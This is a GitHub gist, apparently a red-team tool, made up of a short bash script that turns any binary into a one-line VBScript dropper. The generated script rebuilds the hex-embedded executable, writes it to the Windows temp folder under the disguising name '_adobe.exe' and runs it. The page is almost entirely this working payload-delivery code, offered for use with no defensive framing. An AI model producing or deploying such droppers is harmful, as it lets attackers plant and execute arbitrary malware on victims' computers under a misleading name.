Skip to content

Instantly share code, notes, and snippets.

@infosecn1nja
Created March 10, 2018 10:01
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save infosecn1nja/ed136c8d4f4e4c2580f96d58cbdabf7d to your computer and use it in GitHub Desktop.
Save infosecn1nja/ed136c8d4f4e4c2580f96d58cbdabf7d to your computer and use it in GitHub Desktop.
#!/bin/bash
convert2hex=$(xxd -p $1)
result=$(echo $convert2hex | sed s'/ //g')
echo 'Function n(s,c):n=String(s,c):End Function:t=t&"'$result'":Set s=CreateObject("Scripting.FileSystemObject"):p=s.getspecialfolder(2) & "_adobe.exe":Set f=s.CreateTextFile(p,1):for i=1 to len(t) step 2:f.Write Chr(int("&H" & mid(t,i,2))):next:f.Close:WScript.CreateObject("WScript.Shell").run(p)'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment